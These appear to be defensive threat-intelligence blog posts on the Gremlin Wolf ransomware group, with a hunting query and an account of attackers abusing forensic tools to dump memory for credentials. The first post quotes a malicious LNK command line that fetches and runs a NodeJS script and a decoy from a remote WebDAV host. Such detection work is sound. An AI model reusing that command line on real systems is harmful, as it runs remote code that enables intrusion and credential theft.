Know Your Adversary

Hello everyone! Let's look at another activity cluster - Gremlin Wolf (also known as OldGremlin). This is one of my favorite adversaries, and recently I spotted another campaign, so I decided to share some detection and hunting opportunities. The adversary distributes malicious LNK files, for example, this one . It's used to get and open a decoy document from a remote server, as well as to get a NodeJS interpreter to run a malicious JS-script: cmd.exe /c start /B \\documents-drive.com\DavWWWRoot\DIADOC_Akt_sverki-04.25.docx & start /B \\documents-drive.com\DavWWWRoot\node.exe \\documents-drive.com\DavWWWRoot\index.txt To hunt for such activity, I would focus on WebDAV and NodeJS interpreter, so the hunting query may look like this: event_type: "processcreatewin" AND proc_file_name: "cmd.exe" AND cmdline: ("DavWWWRoot" AND "node.exe") See you tomorrow!

Hello everyone! During incident response engagements we often use various forensic tools, right? For example, to dump memory. But do you know that adversaries may do the same with the same tools? Why? Because dumping LSASS is way too noisy nowadays. And yes, you can extract credentials from full memory dump as well.  We saw this approach in-the-wild for the first time responding to Gremlin Wolf (also known as OldGremlin and TinyScouts). This ransomware gang used WinPmem to dump compromised system memory and access available credentials. It's not the only example of forensic tools abuse. For example, Lorenz ransomware gang leveraged Magnet RAM Capture to obtain a memory dump. In some cases threat actors even used another forensic tool - Volatility - to extract credentials from the memory dump directly on the compromised host. As you can see, forensic tools, just like many other legitimate tools, may be used to by adversary to solve various problems. There are even more examples! D...